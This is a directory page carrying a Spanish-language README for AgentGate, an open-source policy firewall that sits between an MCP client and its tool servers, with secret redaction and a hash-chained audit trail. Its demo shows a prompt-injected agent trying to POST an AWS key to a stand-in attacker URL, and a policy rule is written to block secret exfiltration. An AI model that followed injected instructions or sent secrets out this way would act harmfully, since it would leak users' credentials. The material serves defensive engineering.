AgentGate
AgentGate
El firewall de código abierto para agentes de IA. AgentGate se sitúa entre un cliente MCP (como Claude Code) y los servidores MCP downstream con los que habla, evalúa cada llamada de herramienta contra una política que tú controlas y mantiene una traza de auditoría a prueba de manipulaciones de lo que ha ocurrido.

Un ataque bloqueado, de principio a fin
Un agente con inyección de prompt intenta exfiltrar una clave de AWS por HTTP. AgentGate lo deniega, redacta la clave antes de que llegue siquiera a tocar el disco y registra una traza de auditoría verificable — todo ello a partir de política y código de gateway reales, incluidos en el repositorio, no de una maqueta:
Simulated attack: prompt-injected agent attempts to
POST an AWS API key to an external server.
Tool called: network.request
Target URL: https://evil-exfil.example.com/collect
Gateway Response: {
content: [ { type: 'text', text: '[AgentGate] Denied by rule "block-secret-exfiltration": ...' } ],
isError: true
}
Step 1 — Policy decision: ✅ DENIED
Verifying Audit Records in DB...
✅ PASS — 1 audit event found.
✅ PASS — Event status is DENIED.
✅ PASS — Event arguments are flagged as redacted.
✅ PASS — The raw AWS key is ABSENT from the persisted data.
Verifying Tamper-Evident Hash Chain...
✅ PASS — Audit chain verified (2 records).Ejecútalo tú mismo: node examples/secret-exfiltration/demo.mjs (consulta Demo y verificación).
Related MCP server: Proofpane
Estado del proyecto
Desarrollo temprano / MVP de calidad de investigación. AgentGate implementa un motor de políticas real, un proxy stdio para MCP real, un almacén de auditoría real a prueba de manipulaciones y una interfaz real de Control Center — todo ello cubierto por pruebas ejecutables y una demo de ataque de extremo a extremo (consulta docs/VERIFICATION.md). No está endurecido para producción: no hay autenticación más allá de un token local por cada inicio, no hay soporte multiusuario, no hay reproducción (replay) y la compatibilidad con el protocolo MCP es actualmente solo con stdio de la era legacy 2025 (consulta Integraciones compatibles). Lee docs/THREAT_MODEL.md antes de confiar en él para nada sensible.
Inicio rápido en cinco minutos
Requiere Node.js 20 y pnpm (consulta .nvmrc / packageManager en package.json). Todo lo de abajo está limitado al propio repositorio: no hace falta ningún paquete npm publicado.
git clone https://github.com/chidhvilasa/agentgate.git
cd agentgate
pnpm install --frozen-lockfile
pnpm run build
# Validate the example policy
node packages/gateway/dist/cli.js validate policies/agentgate.example.yml
# Start the gateway (proxies to the official MCP filesystem server over stdio)
node packages/gateway/dist/cli.js start examples/agentgate.ymlEl gateway imprime una URL local del Control Center y un token de autenticación de un solo uso en stderr al arrancar. Abre la URL, pega el token cuando te lo pida y apunta tu cliente MCP (p. ej., Claude Code) al comando stdio del gateway en lugar de al servidor downstream directamente. Consulta docs/QUICKSTART.md para ver la guía completa, incluida la ejecución del Control Center en desarrollo.
Cómo encaja AgentGate
MCP client AgentGate gateway Downstream MCP server
(Claude Code, …) ─────▶ stdio proxy → policy engine ─────▶ (filesystem, network, …)
│ │
▼ ▼
audit storage Control Center
(SQLite, (local web UI,
hash-chained) loopback only)AgentGate habla MCP por ambos lados: es un servidor para tu cliente MCP y un cliente para el servidor MCP downstream real. Cada llamada de herramienta que reenvía ya ha sido evaluada, y cada decisión —permitir, denegar, redactar o retener para aprobación humana— se registra antes de que la llamada llegue al servidor real, o de que se le impida llegar. Consulta docs/ARCHITECTURE.md para ver el diagrama de secuencia completo.
Características principales
Motor de políticas — reglas YAML declarativas comparadas por agente, herramienta, ruta, comando, host y contenido secreto; gana la primera coincidencia; denegación por defecto segura.
Cuatro tipos de decisión —
allow,deny,require_approval(intervención humana, limitada por TTL y de un solo uso) yallow_with_transform(redactar campos concretos y después reenviar).Redacción profunda de secretos — patrones de clave de AWS/GitHub/OpenAI/Anthropic, tokens Bearer, cabeceras de clave privada y cadenas de conexión a bases de datos se detectan y redactan en todos los registros de auditoría persistidos, fuera la decisión que fuere.
Traza de auditoría a prueba de manipulaciones — cada evento es un registro encadenado por hash SHA-256 y de solo adición en SQLite;
agentgate audit verifyrecorre de nuevo y verifica la cadena de forma independiente.Control Center — una interfaz web local, solo loopback: cronología en vivo por SSE, cola de aprobaciones, detalle por evento con redacción y visualización de la cadena de hash, y la política actualmente cargada.
Defensas contra path traversal — los argumentos de ruta se normalizan (
../.resueltos, separadores unificados) antes de emparejar o persistir.
Política de ejemplo
version: 1
defaults:
decision: deny
rules:
- id: allow-project-reads
description: Allow reading files inside the project root.
agents: ["claude-code"]
tools: ["read_file", "list_directory"]
paths: ["${PROJECT_ROOT}/**"]
decision: allow
- id: approve-file-writes
description: Require approval before writing any file.
tools: ["write_file", "create_directory"]
decision: require_approval
approval_ttl_seconds: 120
- id: block-secret-exfiltration
description: Block network requests that appear to carry secrets or API keys.
tools: ["network.*", "fetch", "http_request"]
contains_secrets: true
decision: denyReferencia completa de campos, semántica de coincidencia y ejemplos prácticos: docs/POLICY_REFERENCE.md.
CLI
agentgate start [config.yml] # Start the gateway (default: ./agentgate.yml)
agentgate validate [policy.yml] # Validate a policy file (default: ./agentgate.policy.yml)
agentgate audit verify [config] # Independently re-verify the tamper-evident audit chainagentgate es packages/gateway/dist/cli.js después de pnpm run build (no publicado aún en npm — ver Estado del proyecto). Ejecútalo con node packages/gateway/dist/cli.js <command> desde la raíz del repositorio, o mediante el binario del workspace desde dentro de packages/gateway.
Control Center
Una interfaz de React solo local, servida por Vite en desarrollo y accesible en el control_port configurado en tu YAML del gateway:
Resumen — indicador de riesgo en vivo, recuentos de permitidas/denegadas/pendientes y eventos recientes de alto riesgo.
Cronología — todas las llamadas de herramienta capturadas en tiempo real mediante Server-Sent Events.
Aprobaciones — peticiones
require_approvalpendientes, con una cuenta atrás hasta la caducidad del TTL; denegar es la acción principal de forma visual.Detalle del evento — traza de decisión completa, argumentos redactados y posición del evento en la cadena de hash.
Políticas — el archivo de políticas cargado actualmente y una referencia de tipos de decisión (solo lectura en este hito).
Se autentica con un token aleatorio por inicio (impreso en el stderr del gateway al arrancar) que se envía como el header x-agentgate-token, o como parámetro de consulta token para el flujo SSE. Consulta Modelo de seguridad y limitaciones para saber qué protege y qué no.
Integraciones compatibles
Integración | Transporte | Era del protocolo | Estado | Evidencia |
Claude Code (y cualquier cliente MCP que use el transporte stdio heredado) | stdio | solo la era legacy 2025 | Soportada |
|
Cualquier servidor MCP downstream sobre stdio | stdio | era legacy 2025 | Soportada |
|
MCP actual sin estado ( | HTTP / sin estado | moderna | No implementado | Diferido por ADR-0005; el tipo |
Servidores MCP downstream sobre HTTP con streaming | HTTP | — | No implementado |
|
Si necesitas soporte actual de la era moderna o de transporte HTTP, AgentGate no es aún la opción adecuada — sigue ADR-0005 para ver su estado.
Modelo de seguridad y limitaciones
AgentGate trata la identidad del agente como no confiable: declared_name/declared_version son auto reportadas y solo se usan para mostrarse, nunca para autorizar (verified_identity es siempre false). Las decisiones de política se toman únicamente a partir del nombre de herramienta, la ruta normalizada, el comando, el host y el contenido secreto detectado.
Lo que la cadena de auditoría prueba y no prueba: el hash SHA-256 de cada registro de auditoría cubre el hash del registro anterior, así que editar o eliminar silenciosamente un registro anterior rompe la cadena y agentgate audit verify lo detecta. Esto es detectable a manipulaciones, no inmune a manipulaciones, y no proporciona ninguna garantía de no repudio: un administrador local con acceso al sistema de archivos de la base de datos SQLite puede sustituir el archivo completo y regenerar desde cero una cadena autoconsistente. No hay anclaje externo. Consulta docs/THREAT_MODEL.md para el modelo completo, incluyendo la inyección indirecta de prompt, servidores downstream malintencionados, el análisis de aprobaciones y los riesgos de denegación de servicio que este hito no mitiga todavía.
Arquitectura
Responsabilidades de los componentes, diagramas de sistema y secuencia, el modelo de datos de auditoría y los límites de confianza: docs/ARCHITECTURE.md.
Demo y búsqueda
node examples/secret-exfiltration/demo.mjs # end-to-end attack demo (self-cleaning, writes to a temp dir)
pnpm run test # unit/integration tests (policy + gateway)
pnpm run lint # type-aware lint gate across the whole workspaceTodo lo que la demo y la suite de pruebas afirman se verifica de forma cruzada en docs/VERIFICATION.md.
Desarrollo y contribución
Layout of the workspace, launching the gateway and Control Center locally, adding policy rules and tests: docs/DEVELOPMENT.md. Proceso de contribución, expectativas de impacto en seguridad para las PRs, and convenciones del registro de decisiones: CONTRIBUTING.md. ¿Has encontrado una vulnerabilidad? Consulta SECURITY.md — por favor, no abras un problema público.
Licencia
This server cannot be installed
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Servers
- FlicenseNot gradedqualityNot gradedmaintenanceA transparent proxy and execution firewall that intercepts and audits AI agent tool calls against configurable security policies before forwarding them to downstream MCP servers. It provides safe execution environments with features like data redaction, anti-loop protection, and unified alert dispatching.
- AlicenseBqualityAmaintenanceA governance proxy for AI tools — every MCP/agent tool call is policy-gated, secret-redacted, and written to a hash-chained, offline-verifiable audit trail.13MIT
- AlicenseNot gradedqualityBmaintenanceA policy-enforcing MCP gateway that intercepts all tool calls to downstream MCP servers, applying allow/deny/ask rules with human approval and audit logging for safe access to dangerous tools.23MIT
- FlicenseNot gradedqualityCmaintenanceMCP server that provides a security gateway for AI agents, enforcing allow/confirm/deny policies on tool calls and requiring human approval for risky operations, with full audit logging.
Related MCP Connectors
Security firewall for AI agents — scans MCP calls for injection, secrets, and risks.
Crypto transaction firewall and risk tools for MCP agents.
See, price, and control every tool call your AI agents make: policy checks, cost, and audit tools.
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/chidhvilasa/agentgate'
If you have feedback or need assistance with the MCP directory API, please join our Discord server